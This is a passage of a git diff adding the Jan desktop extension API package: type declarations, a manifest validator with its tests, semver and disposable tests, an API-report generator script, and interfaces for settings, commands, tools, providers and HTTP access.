everything else must use https. */+export declare function isLocalHost(host: string): boolean;++// ---- semver.d.ts ----++/** True for a full semver 2.0.0 version, prerelease and build parts included. */+export declare function isSemver(version: string): boolean;+/** True for the only range form manifests may use: `^MAJOR.MINOR.PATCH`. */+export declare function isCaretRange(range: string): boolean;+/**+ * Whether a host API `host` (plain `MAJOR.MINOR.PATCH`) satisfies the caret+ * range `range`, with npm's caret semantics: the left-most non-zero part is+ * locked, so before 1.0 every minor is a breaking change. Hand-rolled so the+ * package needs no dependency; anything but a caret range is incompatible.+ */+export declare function isApiCompatible(range: string, host: string): boolean;++// ---- validate.d.ts ----++import type { ValidateOptions, ValidationResult } from './manifest.js';+/**+ * The publisher part of every built-in extension id (`jan.<name>`). The host+ * refuses to run a third-party extension under it, so `validateManifest`+ * refuses it too, before anyone is asked to consent to an install.+ */+export declare const RESERVED_PUBLISHER = "jan";+/**+ * The grammar of a command, status item or provider id and of a tool name:+ * up to 64 letters, digits, `.`, `_` and `-`, starting with a letter or+ * digit. Hosts look contributions up by these ids, so none of them can be+ * `__proto__`; names such as `constructor` stay valid and hosts must look+ * them up as own properties.+ */+export declare function isContributionId(value: unknown): value is string;+/**+ * Validates a whole package.json and returns its `jan` manifest together+ * with the package name, version and `engines.jan`. The same rules run in the+ * host at install and load time, so authors can lint with this function.+ *+ * Ids under {@link RESERVED_PUBLISHER} are refused unless `options.builtin`+ * is set, which only the host does for the built-ins it ships.+ */+export declare function validateManifest(pkg: unknown, options?: ValidateOptions): ValidationResult;diff --git a/packages/extension-api/package.json b/packages/extension-api/package.jsonnew file mode 100644index 000000000..31995d914--- /dev/null+++ b/packages/extension-api/package.json@@ -0,0 +1,44 @@+{+ "name": "@janhq/extension-api",+ "version": "1.0.0",+ "description": "Stable API, manifest types and validator for Jan desktop extensions",+ "keywords": [+ "jan",+ "extension"+ ],+ "homepage": "https://jan.ai",+ "license": "Apache-2.0",+ "author": "Jan <[email protected]>",+ "type": "module",+ "sideEffects": false,+ "main": "dist/index.js",+ "types": "dist/index.d.ts",+ "exports": {+ ".": {+ "types": "./dist/index.d.ts",+ "default": "./dist/index.js"+ },+ "./manifest": {+ "types": "./dist/manifest.d.ts",+ "default": "./dist/manifest.js"+ },+ "./package.json": "./package.json"+ },+ "files": [+ "dist",+ "README.md",+ "LICENSE"+ ],+ "scripts": {+ "build": "tsc -p tsconfig.build.json",+ "api-report": "node scripts/api-report.mjs",+ "typecheck": "tsc -p tsconfig.json",+ "test": "vitest run"+ },+ "devDependencies": {+ "@types/node": "^22.10.0",+ "typescript": "5.9.2",+ "vitest": "3.2.4"+ },+ "packageManager": "[email protected]"+}diff --git a/packages/extension-api/scripts/api-report.mjs b/packages/extension-api/scripts/api-report.mjsnew file mode 100644index 000000000..f4c335257--- /dev/null+++ b/packages/extension-api/scripts/api-report.mjs@@ -0,0 +1,89 @@+// Builds the API report: every declaration file the package build emits,+// concatenated in path order. It is committed as api-report.d.ts so that any+// change to the public surface shows up as a reviewed diff.+//+// node scripts/api-report.mjs rewrite api-report.d.ts+// node scripts/api-report.mjs --stdout print the report (used by the test)+//+// Declarations are emitted in memory with the same tsconfig as the build, so+// the report needs no prior build, no network and no tool beyond typescript.+import { writeFileSync } from 'node:fs'+import { dirname, join, relative } from 'node:path'+import { fileURLToPath } from 'node:url'+import ts from 'typescript'++const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..')+const REPORT = join(ROOT, 'api-report.d.ts')++function emitDeclarations() {+ const parsed = ts.getParsedCommandLineOfConfigFile(+ join(ROOT, 'tsconfig.build.json'),+ {},+ {+ ...ts.sys,+ onUnRecoverableConfigFileDiagnostic: (d) => {+ throw new Error(ts.flattenDiagnosticMessageText(d.messageText, '\n'))+ },+ }+ )+ if (!parsed) throw new Error('tsconfig.build.json could not be read')+ const options = {+ ...parsed.options,+ declaration: true,+ emitDeclarationOnly: true,+ declarationMap: false,+ sourceMap: false,+ noEmit: false,+ }+ const program = ts.createProgram(parsed.fileNames, options)+ const files = new Map()+ const result = program.emit(undefined, (fileName, text) => {+ if (fileName.endsWith('.d.ts')) files.set(fileName, text)+ })+ const diagnostics = [+ ...ts.getPreEmitDiagnostics(program),+ ...result.diagnostics,+ ]+ if (diagnostics.length > 0) {+ throw new Error(+ ts.formatDiagnostics(diagnostics, {+ getCanonicalFileName: (f) => f,+ getCurrentDirectory: () => ROOT,+ getNewLine: () => '\n',+ })+ )+ }+ return files+}++function normalize(text) {+ return text+ .replace(/\r\n?/g, '\n')+ .split('\n')+ .map((line) => line.replace(/\s+$/, ''))+ .join('\n')+ .trim()+}++export function buildApiReport() {+ const outDir = join(ROOT, 'dist')+ const sections = [...emitDeclarations()]+ .map(([fileName, text]) => [+ relative(outDir, fileName).split('\\').join('/'),+ normalize(text),+ ])+ .sort(([a], [b]) => (a < b ? -1 : a > b ? 1 : 0))+ .map(([name, text]) => `// ---- ${name} ----\n\n${text}\n`)+ return [+ '// API report for @janhq/extension-api. Generated; do not edit.',+ '// Update with: yarn workspace @janhq/extension-api api-report',+ '',+ sections.join('\n'),+ ].join('\n')+}++if (process.argv[1] === fileURLToPath(import.meta.url)) {+ const report = buildApiReport()+ if (process.argv.includes('--stdout')) process.stdout.write(report)+ else writeFileSync(REPORT, report)+}diff --git a/packages/extension-api/src/__tests__/api-report.test.ts b/packages/extension-api/src/__tests__/api-report.test.tsnew file mode 100644index 000000000..7d46fe79b--- /dev/null+++ b/packages/extension-api/src/__tests__/api-report.test.ts@@ -0,0 +1,30 @@+/// <reference types="node" />+// Keeps the committed api-report.d.ts equal to the declarations the build+// emits, so every change to the public API is a reviewed diff of that file.+import { execFileSync } from 'node:child_process'+import { readFileSync } from 'node:fs'+import { dirname, join } from 'node:path'+import { fileURLToPath } from 'node:url'+import { describe, expect, it } from 'vitest'++const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..', '..')++describe('api-report.d.ts', () => {+ it('matches the declarations the package build emits', () => {+ const fresh = execFileSync(+ process.execPath,+ [join(ROOT, 'scripts', 'api-report.mjs'), '--stdout'],+ { cwd: ROOT, encoding: 'utf8' }+ )+ // A Windows checkout with core.autocrlf turns the committed file into+ // CRLF; the generator always emits LF.+ const committed = readFileSync(join(ROOT, 'api-report.d.ts'), 'utf8')+ .replace(/\r\n/g, '\n')+ expect(+ committed,+ 'The public API of @janhq/extension-api changed. Review the change, then ' ++ 'run `yarn workspace @janhq/extension-api api-report` and commit ' ++ 'api-report.d.ts.'+ ).toBe(fresh)+ }, 60_000)+})diff --git a/packages/extension-api/src/__tests__/api-version.test.ts b/packages/extension-api/src/__tests__/api-version.test.tsnew file mode 100644index 000000000..74be63ea6--- /dev/null+++ b/packages/extension-api/src/__tests__/api-version.test.ts@@ -0,0 +1,9 @@+import { describe, expect, it } from 'vitest'+import pkg from '../../package.json' with { type: 'json' }+import { API_VERSION } from '../index.js'++describe('API_VERSION', () => {+ it('equals the package version', () => {+ expect(API_VERSION).toBe(pkg.version)+ })+})diff --git a/packages/extension-api/src/__tests__/disposable.test.ts b/packages/extension-api/src/__tests__/disposable.test.tsnew file mode 100644index 000000000..562c4b045--- /dev/null+++ b/packages/extension-api/src/__tests__/disposable.test.ts@@ -0,0 +1,72 @@+import { describe, expect, it, vi } from 'vitest'+import { DisposableStore, Emitter, toDisposable } from '../index.js'++describe('DisposableStore', () => {+ it('disposes its members once, in reverse order', () => {+ const order: string[] = []+ const store = new DisposableStore()+ store.add(toDisposable(() => order.push('a')))+ store.add(toDisposable(() => order.push('b')))+ store.dispose()+ store.dispose()+ expect(order).toEqual(['b', 'a'])+ })++ it('keeps working when frozen, as a worker hardens its ctx', () => {+ const fn = vi.fn()+ const store = Object.freeze(new DisposableStore())+ store.add(toDisposable(fn))+ store.dispose()+ expect(fn).toHaveBeenCalledTimes(1)+ })++ it('disposes a member added after the store was disposed', () => {+ const store = new DisposableStore()+ store.dispose()+ const fn = vi.fn()+ store.add(toDisposable(fn))+ expect(fn).toHaveBeenCalledTimes(1)+ })++ it('keeps disposing the rest when one member throws', () => {+ const store = new DisposableStore()+ const after = vi.fn()+ store.add(toDisposable(after))+ store.add(+ toDisposable(() => {+ throw new Error('boom')+ })+ )+ expect(() => store.dispose()).toThrow('boom')+ expect(after).toHaveBeenCalledTimes(1)+ })++ it('runs a toDisposable callback only once', () => {+ const fn = vi.fn()+ const d = toDisposable(fn)+ d.dispose()+ d.dispose()+ expect(fn).toHaveBeenCalledTimes(1)+ })+})++describe('Emitter', () => {+ it('delivers to listeners until they are disposed', () => {+ const emitter = new Emitter<number>()+ const seen: number[] = []+ const sub = emitter.event((n) => seen.push(n))+ emitter.fire(1)+ sub.dispose()+ emitter.fire(2)+ expect(seen).toEqual([1])+ })++ it('drops every listener on dispose', () => {+ const emitter = new Emitter<string>()+ const listener = vi.fn()+ emitter.event(listener)+ emitter.dispose()+ emitter.fire('x')+ expect(listener).not.toHaveBeenCalled()+ })+})diff --git a/packages/extension-api/src/__tests__/semver.test.ts b/packages/extension-api/src/__tests__/semver.test.tsnew file mode 100644index 000000000..1c87f7094--- /dev/null+++ b/packages/extension-api/src/__tests__/semver.test.ts@@ -0,0 +1,30 @@+import { describe, expect, it } from 'vitest'+import { isApiCompatible } from '../manifest.js'++describe('isApiCompatible', () => {+ it('locks the minor on 0.x', () => {+ expect(isApiCompatible('^0.1.0', '0.1.5')).toBe(true)+ expect(isApiCompatible('^0.1.0', '0.2.0')).toBe(false)+ })++ it('locks the major from 1.0.0 on', () => {+ expect(isApiCompatible('^1.2.0', '1.9.0')).toBe(true)+ expect(isApiCompatible('^1.2.0', '2.0.0')).toBe(false)+ })++ it('rejects a host older than the range floor', () => {+ expect(isApiCompatible('^1.2.3', '1.2.2')).toBe(false)+ expect(isApiCompatible('^0.1.3', '0.1.2')).toBe(false)+ })++ it('treats ^0.0.x as an exact pin', () => {+ expect(isApiCompatible('^0.0.3', '0.0.3')).toBe(true)+ expect(isApiCompatible('^0.0.3', '0.0.4')).toBe(false)+ })++ it('refuses anything that is not a caret range or a plain version', () => {+ expect(isApiCompatible('>=0.1.0', '0.1.0')).toBe(false)+ expect(isApiCompatible('^0.1', '0.1.0')).toBe(false)+ expect(isApiCompatible('^0.1.0', '0.1.0-beta.1')).toBe(false)+ })+})diff --git a/packages/extension-api/src/__tests__/validate.test.ts b/packages/extension-api/src/__tests__/validate.test.tsnew file mode 100644index 000000000..04cc79dd6--- /dev/null+++ b/packages/extension-api/src/__tests__/validate.test.ts@@ -0,0 +1,514 @@+import { describe, expect, it } from 'vitest'+import { RESERVED_PUBLISHER, validateManifest } from '../manifest.js'+import { isContributionId } from '../index.js'++type Pkg = {+ name: string+ version: string+ engines?: Record<string, string>+ jan: Record<string, unknown>+}++const minimal = (): Pkg => ({+ name: 'hello-ext',+ version: '0.1.0',+ jan: {+ id: 'acme.hello',+ displayName: 'Hello',+ publisher: 'Acme',+ apiVersion: '^1.0.0',+ main: 'dist/index.js',+ permissions: [],+ },+})++const full = (): Pkg => ({+ name: '@acme/hello-provider',+ version: '1.2.3',+ engines: { jan: '>=0.9.0' },+ jan: {+ id: 'acme.hello-provider',+ displayName: '%displayName%',+ description: 'Says hello',+ publisher: 'Acme',+ apiVersion: '^1.0.0',+ main: './dist/index.js',+ permissions: [+ 'ui:notify',+ 'tools',+ 'providers',+ 'network:127.0.0.1',+ 'network:*.acme.dev',+ ],+ proposals: ['chat'],+ contributes: {+ settings: [+ {+ key: 'greeting',+ title: 'Greeting',+ control: { type: 'input', default: 'Hello' },+ },+ {+ key: 'apiKey',+ title: 'API key',+ secret: true,+ control: { type: 'input', inputType: 'text', default: '' },+ },+ {+ key: 'loud',+ title: 'Loud',+ control: { type: 'checkbox', default: false },+ },+ {+ key: 'mode',+ title: 'Mode',+ control: {+ type: 'dropdown',+ options: [{ value: 'a', label: 'A' }],+ default: 'a',+ },+ },+ {+ key: 'level',+ title: 'Level',+ control: { type: 'slider', min: 0, max: 10, step: 1, default: 5 },+ },+ {+ key: 'notes',+ title: 'Notes',+ control: { type: 'textarea', rows: 3, default: '' },+ },+ ],+ commands: [+ {+ id: 'hello.greet',+ title: '%greet%',+ category: 'Hello',+ icon: 'hand-stop',+ },+ { id: 'hello.copy', title: 'Copy' },+ ],+ menus: {+ 'commandPalette': [{ command: 'hello.greet' }],+ 'message/actions': [+ {+ command: 'hello.copy',+ when: 'message.role == assistant',+ group: 'x',+ order: 1,+ },+ ],+ },+ statusItems: [+ {+ id: 'hello.status',+ text: 'Hi',+ tooltip: 'Status',+ command: 'hello.greet',+ priority: 1,+ },+ ],+ tools: [+ {+ name: 'echo_upper',+ description: 'Uppercases its input',+ inputSchema: {+ type: 'object',+ properties: { text: { type: 'string' } },+ required: ['text'],+ },+ },+ ],+ providers: [+ {+ id: 'hello-local',+ displayName: 'Hello',+ baseUrl: 'http://127.0.0.1:11999/v1',+ apiKeySetting: 'apiKey',+ },+ {+ id: 'hello-cloud',+ displayName: 'Hello Cloud',+ baseUrl: 'https://api.acme.dev/v1',+ capabilities: ['completion', 'tools', 'vision'],+ },+ ],+ },+ l10n: {+ en: { displayName: 'Hello Provider', greet: 'Greet' },+ de: { greet: 'Gruessen' },+ },+ },+})++const contributes = (pkg: Pkg) =>+ pkg.jan.contributes as Record<string, unknown[] | Record<string, unknown[]>>++const errorPaths = (pkg: unknown): string[] => {+ const result = validateManifest(pkg)+ return result.ok ? [] : result.errors.map((e) => e.path)+}++describe('validateManifest', () => {+ it('accepts a minimal manifest', () => {+ const result = validateManifest(minimal())+ expect(result).toEqual({+ ok: true,+ manifest: { ...minimal().jan, name: 'hello-ext', version: '0.1.0' },+ })+ })++ it('accepts a full manifest and carries engines over', () => {+ const result = validateManifest(full())+ if (!result.ok) throw new Error(JSON.stringify(result.errors))+ expect(result.manifest.id).toBe('acme.hello-provider')+ expect(result.manifest.engines).toEqual({ jan: '>=0.9.0' })+ expect(result.manifest.contributes?.commands).toHaveLength(2)+ })++ it('rejects input that is not a package object', () => {+ expect(errorPaths(null)).toEqual([''])+ expect(errorPaths({ name: 'x', version: '1.0.0' })).toEqual(['jan'])+ })++ it('requires the package name and a semver version', () => {+ const pkg = minimal()+ pkg.name = ''+ pkg.version = '1.0'+ expect(errorPaths(pkg)).toEqual(['name', 'version'])+ })++ it.each([+ 'Acme.hello',+ 'acme',+ 'acme.',+ '-acme.hello',+ 'acme.hello.world',+ 'a.b',+ ])('rejects the id %s', (id) => {+ const pkg = minimal()+ pkg.jan.id = id+ expect(errorPaths(pkg)).toEqual(['jan.id'])+ })++ it('reserves the jan publisher for built-ins', () => {+ const pkg = minimal()+ pkg.jan.id = `${RESERVED_PUBLISHER}.hello`+ const result = validateManifest(pkg)+ expect(result).toEqual({+ ok: false,+ errors: [+ {+ path: 'jan.id',+ message:+ "uses the publisher 'jan', which is reserved for Jan's built-in extensions",+ },+ ],+ })+ expect(validateManifest(pkg, { builtin: true })).toMatchObject({+ ok: true,+ manifest: { id: 'jan.hello' },+ })+ })++ it.each(['jan-samples.hello', 'janx.hello', 'acme.jan'])(+ 'does not reserve the id %s',+ (id) => {+ const pkg = minimal()+ pkg.jan.id = id+ expect(errorPaths(pkg)).toEqual([])+ }+ )++ it.each(['0.1.0', '~0.1.0', '>=0.1.0', '^0.1', '^0.1.0 || ^0.2.0'])(+ 'rejects the apiVersion %s',+ (v) => {+ const pkg = minimal()+ pkg.jan.apiVersion = v+ expect(errorPaths(pkg)).toEqual(['jan.apiVersion'])+ }+ )++ it.each([+ '../index.js',+ 'dist/../../index.js',+ '/abs/index.js',+ 'C:/index.js',+ 'dist\\index.js',+ 'dist/index.mjs',+ '',+ ])('rejects main %s', (main) => {+ const pkg = minimal()+ pkg.jan.main = main+ expect(errorPaths(pkg)).toEqual(['jan.main'])+ })++ it('rejects an unknown permission', () => {+ const pkg = minimal()+ pkg.jan.permissions = ['ui:notify', 'fs:write']+ expect(errorPaths(pkg)).toEqual(['jan.permissions[1]'])+ })++ it('rejects commands:execute, which API 1.0 does not have', () => {+ const pkg = minimal()+ pkg.jan.permissions = ['commands:execute']+ expect(errorPaths(pkg)).toEqual(['jan.permissions[0]'])+ })++ it.each([+ 'network:',+ 'network:https://acme.dev',+ 'network:acme.dev:443',+ 'network:*acme.dev',+ 'network:acme..dev',+ ])('rejects the network permission %s', (perm) => {+ const pkg = minimal()+ pkg.jan.permissions = [perm]+ expect(errorPaths(pkg)).toEqual(['jan.permissions[0]'])+ })++ it('rejects a duplicate permission', () => {+ const pkg = minimal()+ pkg.jan.permissions = ['tools', 'tools']+ expect(errorPaths(pkg)).toEqual(['jan.permissions[1]'])+ })++ it('rejects an unknown proposal', () => {+ const pkg = minimal()+ pkg.jan.proposals = ['teleport']+ expect(errorPaths(pkg)).toEqual(['jan.proposals[0]'])+ })++ it('rejects unknown manifest fields so typos do not pass silently', () => {+ const pkg = minimal()+ pkg.jan.permision = []+ expect(errorPaths(pkg)).toEqual(['jan.permision'])+ })++ it('rejects an http provider baseUrl for a non-local host', () => {+ const pkg = full()+ const providers = contributes(pkg).providers as Record<string, unknown>[]+ providers[1].baseUrl = 'http://api.acme.dev/v1'+ expect(errorPaths(pkg)).toEqual(['jan.contributes.providers[1].baseUrl'])+ })++ it('rejects a provider without the matching network permission', () => {+ const pkg = full()+ pkg.jan.permissions = [+ 'ui:notify',+ 'tools',+ 'providers',+ 'network:127.0.0.1',+ ]+ expect(errorPaths(pkg)).toEqual(['jan.contributes.providers[1].baseUrl'])+ })++ it('rejects providers and tools without their permission', () => {+ const pkg = full()+ pkg.jan.permissions = [+ 'ui:notify',+ 'network:127.0.0.1',+ 'network:*.acme.dev',+ ]+ expect(errorPaths(pkg)).toEqual([+ 'jan.contributes.tools',+ 'jan.contributes.providers',+ ])+ })++ it('rejects a model capability the host does not understand', () => {+ const pkg = full()+ const providers = contributes(pkg).providers as Record<string, unknown>[]+ providers[1].capabilities = ['tools', 'teleport']+ expect(errorPaths(pkg)).toEqual([+ 'jan.contributes.providers[1].capabilities[1]',+ ])+ })++ it.each([[[]], ['tools'], [['tools', 'tools']]])(+ 'rejects provider capabilities %j',+ (capabilities) => {+ const pkg = full()+ const providers = contributes(pkg).providers as Record<string, unknown>[]+ providers[1].capabilities = capabilities+ expect(errorPaths(pkg)).toEqual([+ expect.stringMatching(/^jan\.contributes\.providers\[1\]\.capabilities/),+ ])+ }+ )++ it('rejects a provider apiKeySetting that names no declared setting', () => {+ const pkg = full()+ const providers = contributes(pkg).providers as Record<string, unknown>[]+ providers[0].apiKeySetting = 'missing'+ expect(errorPaths(pkg)).toEqual([+ 'jan.contributes.providers[0].apiKeySetting',+ ])+ })++ it('rejects a duplicate command id', () => {+ const pkg = full()+ const commands = contributes(pkg).commands as Record<string, unknown>[]+ commands[1].id = 'hello.greet'+ // The menu entry pointing at the old hello.copy is now dangling too.+ expect(errorPaths(pkg)).toEqual([+ 'jan.contributes.commands[1].id',+ "jan.contributes.menus['message/actions'][0].command",+ ])+ })++ it('rejects contribution ids outside the id grammar', () => {+ const pkg = full()+ const c = contributes(pkg)+ ;(c.commands as Record<string, unknown>[])[1].id = '__proto__'+ ;(c.statusItems as Record<string, unknown>[])[0].id = 'has space'+ ;(c.tools as Record<string, unknown>[])[0].name = 'x'.repeat(65)+ ;(c.providers as Record<string, unknown>[])[0].id = '-lead'+ expect(errorPaths(pkg)).toEqual([+ 'jan.contributes.commands[1].id',+ "jan.contributes.menus['message/actions'][0].command",+ 'jan.contributes.statusItems[0].id',+ 'jan.contributes.tools[0].name',+ 'jan.contributes.providers[0].id',+ ])+ expect(isContributionId('hello.greet')).toBe(true)+ expect(isContributionId('echo_upper')).toBe(true)+ expect(isContributionId('constructor')).toBe(true)+ expect(isContributionId('__proto__')).toBe(false)+ })++ it('rejects a menu item pointing at an undeclared command', () => {+ const pkg = full()+ const menus = contributes(pkg).menus as Record<+ string,+ Record<string, unknown>[]+ >+ menus.commandPalette[0].command = 'hello.nope'+ expect(errorPaths(pkg)).toEqual([+ 'jan.contributes.menus.commandPalette[0].command',+ ])+ })++ it('rejects an unknown menu location and when clause', () => {+ const pkg = full()+ const menus = contributes(pkg).menus as Record<+ string,+ Record<string, unknown>[]+ >+ menus['message/actions'][0].when = 'message.role == system'+ menus.sidebar = [{ command: 'hello.greet' }]+ expect(errorPaths(pkg)).toEqual([+ "jan.contributes.menus['message/actions'][0].when",+ 'jan.contributes.menus.sidebar',+ ])+ })++ it('rejects a status item pointing at an undeclared command', () => {+ const pkg = full()+ const items = contributes(pkg).statusItems as Record<string, unknown>[]+ items[0].command = 'hello.nope'+ expect(errorPaths(pkg)).toEqual(['jan.contributes.statusItems[0].command'])+ })++ it('rejects a duplicate setting key and a mistyped default', () => {+ const pkg = full()+ const settings = contributes(pkg).settings as Record<string, unknown>[]+ settings[1].key = 'greeting'+ settings[2].control = { type: 'checkbox', default: 'yes' }+ expect(errorPaths(pkg)).toEqual([+ 'jan.contributes.settings[1].key',+ 'jan.contributes.settings[2].control.default',+ // apiKey no longer exists, so the provider reference dangles.+ 'jan.contributes.providers[0].apiKeySetting',+ ])+ })++ it('rejects a secret on a control that does not hold a string', () => {+ const pkg = full()+ const settings = contributes(pkg).settings as Record<string, unknown>[]+ settings[2].secret = true+ expect(errorPaths(pkg)).toEqual(['jan.contributes.settings[2].secret'])+ })++ it('rejects a dropdown default that is not one of its options and an inverted slider', () => {+ const pkg = full()+ const settings = contributes(pkg).settings as Record<string, unknown>[]+ settings[3].control = {+ type: 'dropdown',+ options: [{ value: 'a', label: 'A' }],+ default: 'b',+ }+ settings[4].control = {+ type: 'slider',+ min: 10,+ max: 0,+ step: 1,+ default: 5,+ }+ expect(errorPaths(pkg)).toEqual([+ 'jan.contributes.settings[3].control.default',+ 'jan.contributes.settings[4].control',+ ])+ })++ it('rejects a tool whose input schema is not an object schema', () => {+ const pkg = full()+ const tools = contributes(pkg).tools as Record<string, unknown>[]+ tools[0].inputSchema = { type: 'string' }+ expect(errorPaths(pkg)).toEqual(['jan.contributes.tools[0].inputSchema'])+ })++ it('rejects a %key% missing from l10n.en', () => {+ const pkg = full()+ pkg.jan.l10n = {+ en: { displayName: 'Hello Provider' },+ de: { greet: 'Gruessen' },+ }+ expect(errorPaths(pkg)).toEqual(['jan.contributes.commands[0].title'])+ })++ it('checks %key% in setting placeholders and dropdown labels', () => {+ const pkg = full()+ const settings = contributes(pkg).settings as Record<string, unknown>[]+ settings[0].control = {+ type: 'input',+ placeholder: '%hint%',+ default: 'Hello',+ }+ settings[3].control = {+ type: 'dropdown',+ options: [{ value: 'a', label: '%greet%' }, { value: 'b', label: '%b%' }],+ default: 'a',+ }+ expect(errorPaths(pkg)).toEqual([+ 'jan.contributes.settings[0].control.placeholder',+ 'jan.contributes.settings[3].control.options[1].label',+ ])+ })++ it('does not resolve a %key% through the object prototype', () => {+ const pkg = minimal()+ pkg.jan.l10n = { en: {} }+ pkg.jan.displayName = '%constructor%'+ pkg.jan.description = '%toString%'+ expect(errorPaths(pkg)).toEqual(['jan.displayName', 'jan.description'])+ })++ it('rejects a %key% when there is no l10n at all', () => {+ const pkg = minimal()+ pkg.jan.displayName = '%name%'+ expect(errorPaths(pkg)).toEqual(['jan.displayName'])+ })++ it('reports every problem at once', () => {+ const pkg = minimal()+ pkg.jan.id = 'bad'+ pkg.jan.main = '../x.js'+ pkg.jan.permissions = ['nope']+ expect(errorPaths(pkg)).toEqual([+ 'jan.id',+ 'jan.main',+ 'jan.permissions[0]',+ ])+ })+})diff --git a/packages/extension-api/src/api-version.ts b/packages/extension-api/src/api-version.tsnew file mode 100644index 000000000..66f276c01--- /dev/null+++ b/packages/extension-api/src/api-version.ts@@ -0,0 +1,5 @@+/**+ * The version of this API package. A host compares an extension's+ * `jan.apiVersion` caret range against it (see `isApiCompatible`).+ */+export const API_VERSION = '1.0.0'diff --git a/packages/extension-api/src/capabilities.ts b/packages/extension-api/src/capabilities.tsnew file mode 100644index 000000000..aed49af0e--- /dev/null+++ b/packages/extension-api/src/capabilities.ts@@ -0,0 +1,36 @@+/**+ * What a model of a contributed provider can do, as the host reads it:+ * `tools` turns on tool calling in chat, `vision`, `audio` and `video` allow+ * those attachments, `embeddings` marks a model for embedding rather than+ * chat, `reasoning` labels a thinking model. A model with none declared is+ * `['completion']`.+ */+export type ModelCapability =+ | 'completion'+ | 'tools'+ | 'vision'+ | 'audio'+ | 'video'+ | 'embeddings'+ | 'reasoning'++/** Every `ModelCapability`; anything else is rejected, not ignored. */+export const MODEL_CAPABILITIES: readonly ModelCapability[] = [+ 'completion',+ 'tools',+ 'vision',+ 'audio',+ 'video',+ 'embeddings',+ 'reasoning',+]++/** What a model gets when neither its provider nor its listing says. */+export const DEFAULT_MODEL_CAPABILITIES: readonly ModelCapability[] = [+ 'completion',+]++/** Narrows a manifest or `listModels` entry to a `ModelCapability`. */+export function isModelCapability(value: unknown): value is ModelCapability {+ return MODEL_CAPABILITIES.includes(value as ModelCapability)+}diff --git a/packages/extension-api/src/context.ts b/packages/extension-api/src/context.tsnew file mode 100644index 000000000..918c1855a--- /dev/null+++ b/packages/extension-api/src/context.ts@@ -0,0 +1,217 @@+import type { ModelCapability } from './capabilities.js'+import type { JsonValue, SettingValue } from './contributions.js'+import type { Disposable, DisposableStore } from './disposable.js'+import type { Event } from './event.js'++/**+ * Leveled logging. Lines are tagged with the extension id and end up in the+ * app log.+ */+export interface Logger {+ debug(...args: unknown[]): void+ info(...args: unknown[]): void+ warn(...args: unknown[]): void+ error(...args: unknown[]): void+}++/** The extension's own settings, as declared in `contributes.settings`. */+export interface SettingsApi {+ /**+ * The current value, or the manifest default when the user has not set+ * one. Resolves undefined for an undeclared key.+ */+ get<T extends SettingValue>(key: string): Promise<T | undefined>+ /** Stores a value for a declared key; the type must match the control. */+ set(key: string, value: SettingValue): Promise<void>+ readonly onDidChange: Event<{ key: string; value: SettingValue }>+}++/** Private key-value storage of JSON values, 1 MiB per extension. */+export interface StorageApi {+ get<T extends JsonValue>(key: string): Promise<T | undefined>+ /** Rejects with `E_TOO_LARGE` when the stored total would exceed the quota. */+ set(key: string, value: JsonValue): Promise<void>+ delete(key: string): Promise<void>+ keys(): Promise<string[]>+}++/**+ * Where a command was run from, passed as its first argument. Only ids:+ * reading content needs `conversations:read`.+ */+export type CommandContext =+ | { location: 'commandPalette' }+ | { location: 'thread/context'; threadId: string }+ | {+ location: 'message/actions'+ threadId: string+ messageId: string+ role: 'user' | 'assistant'+ }+ | { location: 'chatInput/actions'; threadId: string }+ | { location: 'statusItem' }+ /** Run through `ctx.commands.execute` by the named extension. */+ | { location: 'extension'; extensionId: string }++export type CommandHandler = (+ context: CommandContext,+ ...args: JsonValue[]+) => unknown++export interface CommandsApi {+ /** Binds a handler to a command declared in `contributes.commands`. */+ registerCommand(id: string, handler: CommandHandler): Disposable+ /**+ * Runs one of the extension's own commands. Host commands and other+ * extensions' commands are not reachable.+ */+ execute<T = unknown>(id: string, ...args: JsonValue[]): Promise<T>+}++export type NotifyLevel = 'info' | 'success' | 'warning' | 'error'++export interface UiApi {+ /** Shows a toast labelled with the extension name. Needs `ui:notify`. */+ notify(notification: { level: NotifyLevel; message: string }): void+ /** Updates a status item declared in `contributes.statusItems`. */+ setStatusItem(id: string, update: { text?: string; tooltip?: string }): void+}++/** Public, storage-independent views of threads and messages. */+export interface ThreadSummary {+ id: string+ title: string+ /** Unix epoch milliseconds. */+ updatedAt: number+}++export interface ThreadInfo extends ThreadSummary {+ /** Unix epoch milliseconds. */+ createdAt: number+}++export interface MessageInfo {+ id: string+ threadId: string+ role: 'user' | 'assistant' | 'system' | 'tool'+ /** The text parts of the message, concatenated. */+ text: string+ /** Unix epoch milliseconds. */+ createdAt: number+}++/** Reading needs `conversations:read`; creating needs `conversations:write`. */+export interface ConversationsApi {+ listThreads(): Promise<ThreadSummary[]>+ getThread(id: string): Promise<ThreadInfo | undefined>+ listMessages(+ threadId: string,+ opts?: { limit?: number; before?: string }+ ): Promise<MessageInfo[]>+ createThread(input: { title: string }): Promise<ThreadInfo>+ appendMessage(+ threadId: string,+ msg: { role: 'user' | 'assistant'; text: string }+ ): Promise<MessageInfo>+ readonly onDidCreateMessage: Event<{ threadId: string; message: MessageInfo }>+ readonly onDidDeleteThread: Event<{ threadId: string }>+}++export interface CancellationToken {+ readonly isCancellationRequested: boolean+ readonly onCancellationRequested: Event<void>+}++/** What a tool returns to the model. */+export interface ToolResult {+ content: (+ | { type: 'text'; text: string }+ | { type: 'json'; value: JsonValue }+ )[]+ isError?: boolean+}++export interface ToolHandler {+ (input: unknown, token: CancellationToken): Promise<ToolResult>+}++export interface ToolsApi {+ /** Implements a tool declared in `contributes.tools`. Needs `tools`. */+ registerTool(name: string, handler: ToolHandler): Disposable+}++export interface ProviderModel {+ id: string+ displayName?: string+ /** Replaces the provider's declared `capabilities` for this model. */+ capabilities?: ModelCapability[]+}++export interface ProviderHandlers {+ /** Overrides the host's `GET <baseUrl>/models` lookup. */+ listModels?(): Promise<ProviderModel[]>+}++export interface ProvidersApi {+ /** Activates a provider declared in `contributes.providers`. Needs `providers`. */+ registerProvider(id: string, handlers: ProviderHandlers): Disposable+}++export interface HttpRequestInit {+ method?: 'GET' | 'POST' | 'PUT' | 'PATCH' | 'DELETE' | 'HEAD'+ headers?: Record<string, string>+ body?: string+}++export interface HttpResponse {+ status: number+ headers: Record<string, string>+ body: string+}++export interface HttpApi {+ /** Needs a `network:<host>` permission covering the URL's host. */+ fetch(url: string, init?: HttpRequestInit): Promise<HttpResponse>+}++/** A message about to be sent, as seen by a `chat.onWillSend` hook. */+export interface WillSendEvent {+ threadId: string+ text: string+}++/**+ * Proposed APIs. Only present for extensions that list the proposal in+ * `jan.proposals` and 